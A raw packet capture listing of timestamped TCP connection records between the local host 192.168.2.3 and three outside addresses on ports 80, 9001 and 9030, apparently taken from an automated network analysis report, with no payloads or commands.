Dec 11, 2022 09:25:09.808660984 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.808693886 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.808737993 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.808770895 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.808770895 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.808798075 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.808808088 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.808854103 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.808871031 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.808902025 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.808903933 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.808938026 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.808943987 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.808971882 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.809003115 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.809005022 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.809048891 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.809076071 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.809084892 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.809207916 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.829000950 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.829046011 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.829081059 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.829123974 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.829158068 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.829169035 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.829191923 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.829217911 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.829227924 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.829274893 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.829298973 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.829308987 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.829343081 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.829382896 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.829389095 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.829405069 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.829425097 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.829457998 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.829492092 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.829504013 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.829528093 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.829561949 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.829561949 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.829595089 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.829638958 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.829665899 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.829674006 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.829696894 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.829708099 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.829741001 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.829773903 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.829807043 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.829807043 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.829833031 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.829850912 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.829901934 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.829952955 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.829962969 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.829987049 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.830022097 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.830028057 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.830059052 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.830091953 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.830126047 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.830127001 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.830166101 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.830173969 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.830209970 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.830244064 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.830281019 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.830291033 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.830302000 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.830326080 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.830370903 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.830394983 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.830415010 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.830450058 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.830491066 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.830526114 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.830535889 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.830568075 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.830571890 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.830600023 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.830643892 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.830668926 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.830688953 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.830710888 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.830722094 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.830754995 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.830796957 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.830830097 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.830831051 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.830853939 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.830863953 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.830936909 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.830956936 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.830965996 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.831000090 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.831043005 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.831075907 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.831084013 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.831110001 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.831120014 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.831146955 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.831172943 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.831196070 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.831206083 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.831228971 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.831239939 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.831273079 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.831319094 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.831351995 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.831357956 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.831378937 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.831386089 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.831418991 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.831453085 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.831470013 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.831486940 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.831521034 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.831526041 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.831553936 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.831595898 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.831619978 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.831629992 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.831655025 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.831664085 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.831696987 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.831741095 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.831768990 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.831774950 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.831787109 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.831813097 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.831846952 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.831880093 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.831895113 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.831913948 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.831928015 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.831947088 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.831979990 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.832022905 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.832051039 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.832056999 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.832093000 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.832103014 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.832137108 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.832170963 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.832204103 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.832233906 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.832250118 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.832283020 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.832283974 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.832319021 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.832360983 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.832387924 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.832395077 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.832427979 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.832472086 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.832504988 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.832509041 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.832539082 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.832581043 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.832608938 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.832616091 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.832721949 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.852598906 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.852648973 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.852678061 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.852711916 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.852716923 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.852768898 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.852802992 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.852807045 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.852838039 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.852883101 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.852916002 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.852916956 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.852951050 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.852956057 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.852983952 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.853029966 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.853051901 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.853064060 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.853084087 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.853100061 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.853132963 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.853174925 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.853207111 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.853208065 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.853245974 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:09.853260040 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:09.853461981 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:11.122243881 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:17.145241976 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:17.165631056 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:17.264102936 CET	49700	9001	192.168.2.3	144.217.95.12
Dec 11, 2022 09:25:17.366297960 CET	9001	49700	144.217.95.12	192.168.2.3
Dec 11, 2022 09:25:17.366477013 CET	49700	9001	192.168.2.3	144.217.95.12
Dec 11, 2022 09:25:17.367434978 CET	49700	9001	192.168.2.3	144.217.95.12
Dec 11, 2022 09:25:17.469451904 CET	9001	49700	144.217.95.12	192.168.2.3
Dec 11, 2022 09:25:17.541568041 CET	9001	49700	144.217.95.12	192.168.2.3
Dec 11, 2022 09:25:17.552189112 CET	49700	9001	192.168.2.3	144.217.95.12
Dec 11, 2022 09:25:17.654499054 CET	9001	49700	144.217.95.12	192.168.2.3
Dec 11, 2022 09:25:17.721822977 CET	9001	49700	144.217.95.12	192.168.2.3
Dec 11, 2022 09:25:17.727515936 CET	49700	9001	192.168.2.3	144.217.95.12
Dec 11, 2022 09:25:17.829957008 CET	9001	49700	144.217.95.12	192.168.2.3
Dec 11, 2022 09:25:17.946197987 CET	9001	49700	144.217.95.12	192.168.2.3
Dec 11, 2022 09:25:17.946259022 CET	9001	49700	144.217.95.12	192.168.2.3
Dec 11, 2022 09:25:17.946439981 CET	49700	9001	192.168.2.3	144.217.95.12
Dec 11, 2022 09:25:17.955264091 CET	49700	9001	192.168.2.3	144.217.95.12
Dec 11, 2022 09:25:17.997581959 CET	49702	9030	192.168.2.3	151.20.208.221
Dec 11, 2022 09:25:18.044790030 CET	9030	49702	151.20.208.221	192.168.2.3
Dec 11, 2022 09:25:18.044922113 CET	49702	9030	192.168.2.3	151.20.208.221
Dec 11, 2022 09:25:18.045205116 CET	49702	9030	192.168.2.3	151.20.208.221
Dec 11, 2022 09:25:18.057523966 CET	9001	49700	144.217.95.12	192.168.2.3
Dec 11, 2022 09:25:18.091734886 CET	9030	49702	151.20.208.221	192.168.2.3
Dec 11, 2022 09:25:18.094584942 CET	9030	49702	151.20.208.221	192.168.2.3
Dec 11, 2022 09:25:18.095710993 CET	9030	49702	151.20.208.221	192.168.2.3
Dec 11, 2022 09:25:18.095829010 CET	49702	9030	192.168.2.3	151.20.208.221
Dec 11, 2022 09:25:18.096107006 CET	9030	49702	151.20.208.221	192.168.2.3
Dec 11, 2022 09:25:18.096178055 CET	49702	9030	192.168.2.3	151.20.208.221
Dec 11, 2022 09:25:18.114025116 CET	49702	9030	192.168.2.3	151.20.208.221
Dec 11, 2022 09:25:18.146584034 CET	49700	9001	192.168.2.3	144.217.95.12
Dec 11, 2022 09:25:18.160556078 CET	9030	49702	151.20.208.221	192.168.2.3
Dec 11, 2022 09:25:18.249013901 CET	9001	49700	144.217.95.12	192.168.2.3
Dec 11, 2022 09:25:18.452523947 CET	9001	49700	144.217.95.12	192.168.2.3
Dec 11, 2022 09:25:18.482872963 CET	49703	9030	192.168.2.3	151.20.208.221
Dec 11, 2022 09:25:18.531735897 CET	9030	49703	151.20.208.221	192.168.2.3
Dec 11, 2022 09:25:18.531853914 CET	49703	9030	192.168.2.3	151.20.208.221
Dec 11, 2022 09:25:18.532134056 CET	49703	9030	192.168.2.3	151.20.208.221
Dec 11, 2022 09:25:18.581190109 CET	9030	49703	151.20.208.221	192.168.2.3
Dec 11, 2022 09:25:18.583761930 CET	9030	49703	151.20.208.221	192.168.2.3
Dec 11, 2022 09:25:18.583820105 CET	9030	49703	151.20.208.221	192.168.2.3
Dec 11, 2022 09:25:18.583921909 CET	49703	9030	192.168.2.3	151.20.208.221
Dec 11, 2022 09:25:18.585699081 CET	9030	49703	151.20.208.221	192.168.2.3
Dec 11, 2022 09:25:18.587133884 CET	9030	49703	151.20.208.221	192.168.2.3
Dec 11, 2022 09:25:18.587240934 CET	49703	9030	192.168.2.3	151.20.208.221
Dec 11, 2022 09:25:18.588898897 CET	9030	49703	151.20.208.221	192.168.2.3
Dec 11, 2022 09:25:18.590598106 CET	9030	49703	151.20.208.221	192.168.2.3
Dec 11, 2022 09:25:18.590706110 CET	49703	9030	192.168.2.3	151.20.208.221
Dec 11, 2022 09:25:18.590835094 CET	9030	49703	151.20.208.221	192.168.2.3
Dec 11, 2022 09:25:18.590914011 CET	49703	9030	192.168.2.3	151.20.208.221
Dec 11, 2022 09:25:18.623980999 CET	49703	9030	192.168.2.3	151.20.208.221
Dec 11, 2022 09:25:18.640868902 CET	49700	9001	192.168.2.3	144.217.95.12
Dec 11, 2022 09:25:18.673022985 CET	9030	49703	151.20.208.221	192.168.2.3
Dec 11, 2022 09:25:18.743834972 CET	9001	49700	144.217.95.12	192.168.2.3
Dec 11, 2022 09:25:18.959755898 CET	9001	49700	144.217.95.12	192.168.2.3
Dec 11, 2022 09:25:18.985987902 CET	49700	9001	192.168.2.3	144.217.95.12
Dec 11, 2022 09:25:19.088248968 CET	9001	49700	144.217.95.12	192.168.2.3
Dec 11, 2022 09:25:19.373816013 CET	9001	49700	144.217.95.12	192.168.2.3
Dec 11, 2022 09:25:19.418946981 CET	49704	9030	192.168.2.3	151.20.208.221
Dec 11, 2022 09:25:19.442414999 CET	49700	9001	192.168.2.3	144.217.95.12
Dec 11, 2022 09:25:19.464797974 CET	9030	49704	151.20.208.221	192.168.2.3
Dec 11, 2022 09:25:19.464968920 CET	49704	9030	192.168.2.3	151.20.208.221
Dec 11, 2022 09:25:19.465193987 CET	49704	9030	192.168.2.3	151.20.208.221
Dec 11, 2022 09:25:19.511255026 CET	9030	49704	151.20.208.221	192.168.2.3
Dec 11, 2022 09:25:19.513468981 CET	9030	49704	151.20.208.221	192.168.2.3
Dec 11, 2022 09:25:19.514545918 CET	9030	49704	151.20.208.221	192.168.2.3
Dec 11, 2022 09:25:19.514694929 CET	49704	9030	192.168.2.3	151.20.208.221
Dec 11, 2022 09:25:19.515173912 CET	9030	49704	151.20.208.221	192.168.2.3
Dec 11, 2022 09:25:19.515245914 CET	49704	9030	192.168.2.3	151.20.208.221
Dec 11, 2022 09:25:19.545469999 CET	49704	9030	192.168.2.3	151.20.208.221
Dec 11, 2022 09:25:19.559859037 CET	49700	9001	192.168.2.3	144.217.95.12
Dec 11, 2022 09:25:19.591279984 CET	9030	49704	151.20.208.221	192.168.2.3
Dec 11, 2022 09:25:19.662157059 CET	9001	49700	144.217.95.12	192.168.2.3
Dec 11, 2022 09:25:19.847800970 CET	9001	49700	144.217.95.12	192.168.2.3
Dec 11, 2022 09:25:19.870676041 CET	49705	9030	192.168.2.3	151.20.208.221
Dec 11, 2022 09:25:19.918948889 CET	9030	49705	151.20.208.221	192.168.2.3
Dec 11, 2022 09:25:19.919085026 CET	49705	9030	192.168.2.3	151.20.208.221
Dec 11, 2022 09:25:19.929457903 CET	49705	9030	192.168.2.3	151.20.208.221
Dec 11, 2022 09:25:19.942475080 CET	49700	9001	192.168.2.3	144.217.95.12
Dec 11, 2022 09:25:19.977344990 CET	9030	49705	151.20.208.221	192.168.2.3
Dec 11, 2022 09:25:19.979815006 CET	9030	49705	151.20.208.221	192.168.2.3
Dec 11, 2022 09:25:19.980144024 CET	9030	49705	151.20.208.221	192.168.2.3
Dec 11, 2022 09:25:19.980205059 CET	49705	9030	192.168.2.3	151.20.208.221
Dec 11, 2022 09:25:19.981427908 CET	9030	49705	151.20.208.221	192.168.2.3
Dec 11, 2022 09:25:19.981496096 CET	49705	9030	192.168.2.3	151.20.208.221
Dec 11, 2022 09:25:19.998089075 CET	49705	9030	192.168.2.3	151.20.208.221
Dec 11, 2022 09:25:20.011806011 CET	49700	9001	192.168.2.3	144.217.95.12
Dec 11, 2022 09:25:20.046312094 CET	9030	49705	151.20.208.221	192.168.2.3
Dec 11, 2022 09:25:20.114871025 CET	9001	49700	144.217.95.12	192.168.2.3
Dec 11, 2022 09:25:20.487150908 CET	9001	49700	144.217.95.12	192.168.2.3
Dec 11, 2022 09:25:20.534974098 CET	49700	9001	192.168.2.3	144.217.95.12
Dec 11, 2022 09:25:20.637269974 CET	9001	49700	144.217.95.12	192.168.2.3
Dec 11, 2022 09:25:21.234602928 CET	9001	49700	144.217.95.12	192.168.2.3
Dec 11, 2022 09:25:21.242984056 CET	49700	9001	192.168.2.3	144.217.95.12
Dec 11, 2022 09:25:21.345438957 CET	9001	49700	144.217.95.12	192.168.2.3
Dec 11, 2022 09:25:21.651525974 CET	9001	49700	144.217.95.12	192.168.2.3
Dec 11, 2022 09:25:21.661520004 CET	49700	9001	192.168.2.3	144.217.95.12
Dec 11, 2022 09:25:21.685549974 CET	49706	9030	192.168.2.3	151.20.208.221
Dec 11, 2022 09:25:21.734654903 CET	9030	49706	151.20.208.221	192.168.2.3
Dec 11, 2022 09:25:21.734821081 CET	49706	9030	192.168.2.3	151.20.208.221
Dec 11, 2022 09:25:21.735426903 CET	49706	9030	192.168.2.3	151.20.208.221
Dec 11, 2022 09:25:21.764219046 CET	9001	49700	144.217.95.12	192.168.2.3
Dec 11, 2022 09:25:21.784292936 CET	9030	49706	151.20.208.221	192.168.2.3
Dec 11, 2022 09:25:21.791101933 CET	9030	49706	151.20.208.221	192.168.2.3
Dec 11, 2022 09:25:21.791150093 CET	9030	49706	151.20.208.221	192.168.2.3
Dec 11, 2022 09:25:21.791202068 CET	49706	9030	192.168.2.3	151.20.208.221
Dec 11, 2022 09:25:21.792540073 CET	9030	49706	151.20.208.221	192.168.2.3
Dec 11, 2022 09:25:21.792619944 CET	49706	9030	192.168.2.3	151.20.208.221
Dec 11, 2022 09:25:21.826594114 CET	49706	9030	192.168.2.3	151.20.208.221
Dec 11, 2022 09:25:21.841259003 CET	49700	9001	192.168.2.3	144.217.95.12
Dec 11, 2022 09:25:21.875684023 CET	9030	49706	151.20.208.221	192.168.2.3
Dec 11, 2022 09:25:21.943545103 CET	9001	49700	144.217.95.12	192.168.2.3
Dec 11, 2022 09:25:22.060193062 CET	9001	49700	144.217.95.12	192.168.2.3
Dec 11, 2022 09:25:22.081680059 CET	49707	9030	192.168.2.3	151.20.208.221
Dec 11, 2022 09:25:22.131589890 CET	9030	49707	151.20.208.221	192.168.2.3
Dec 11, 2022 09:25:22.131789923 CET	49707	9030	192.168.2.3	151.20.208.221
Dec 11, 2022 09:25:22.132072926 CET	49707	9030	192.168.2.3	151.20.208.221
Dec 11, 2022 09:25:22.146003008 CET	49700	9001	192.168.2.3	144.217.95.12
Dec 11, 2022 09:25:22.181061029 CET	9030	49707	151.20.208.221	192.168.2.3
Dec 11, 2022 09:25:22.184287071 CET	9030	49707	151.20.208.221	192.168.2.3
Dec 11, 2022 09:25:22.184981108 CET	9030	49707	151.20.208.221	192.168.2.3
Dec 11, 2022 09:25:22.185122967 CET	49707	9030	192.168.2.3	151.20.208.221
Dec 11, 2022 09:25:22.185826063 CET	9030	49707	151.20.208.221	192.168.2.3
Dec 11, 2022 09:25:22.185908079 CET	49707	9030	192.168.2.3	151.20.208.221
Dec 11, 2022 09:25:22.204920053 CET	49707	9030	192.168.2.3	151.20.208.221
Dec 11, 2022 09:25:22.242674112 CET	49700	9001	192.168.2.3	144.217.95.12
Dec 11, 2022 09:25:22.254245996 CET	9030	49707	151.20.208.221	192.168.2.3
Dec 11, 2022 09:25:22.345055103 CET	9001	49700	144.217.95.12	192.168.2.3
Dec 11, 2022 09:25:22.617445946 CET	9001	49700	144.217.95.12	192.168.2.3
Dec 11, 2022 09:25:22.639206886 CET	49700	9001	192.168.2.3	144.217.95.12
Dec 11, 2022 09:25:22.741710901 CET	9001	49700	144.217.95.12	192.168.2.3
Dec 11, 2022 09:25:23.090101004 CET	9001	49700	144.217.95.12	192.168.2.3
Dec 11, 2022 09:25:23.109905005 CET	49700	9001	192.168.2.3	144.217.95.12
Dec 11, 2022 09:25:23.212111950 CET	9001	49700	144.217.95.12	192.168.2.3
Dec 11, 2022 09:25:23.493144035 CET	9001	49700	144.217.95.12	192.168.2.3
Dec 11, 2022 09:25:23.501362085 CET	49700	9001	192.168.2.3	144.217.95.12
Dec 11, 2022 09:25:23.510268927 CET	49708	9030	192.168.2.3	151.20.208.221
Dec 11, 2022 09:25:23.558422089 CET	9030	49708	151.20.208.221	192.168.2.3
Dec 11, 2022 09:25:23.558588982 CET	49708	9030	192.168.2.3	151.20.208.221
Dec 11, 2022 09:25:23.558979988 CET	49708	9030	192.168.2.3	151.20.208.221
Dec 11, 2022 09:25:23.603542089 CET	9001	49700	144.217.95.12	192.168.2.3
Dec 11, 2022 09:25:23.620402098 CET	9030	49708	151.20.208.221	192.168.2.3
Dec 11, 2022 09:25:23.622694969 CET	9030	49708	151.20.208.221	192.168.2.3
Dec 11, 2022 09:25:23.622961998 CET	9030	49708	151.20.208.221	192.168.2.3
Dec 11, 2022 09:25:23.623025894 CET	49708	9030	192.168.2.3	151.20.208.221
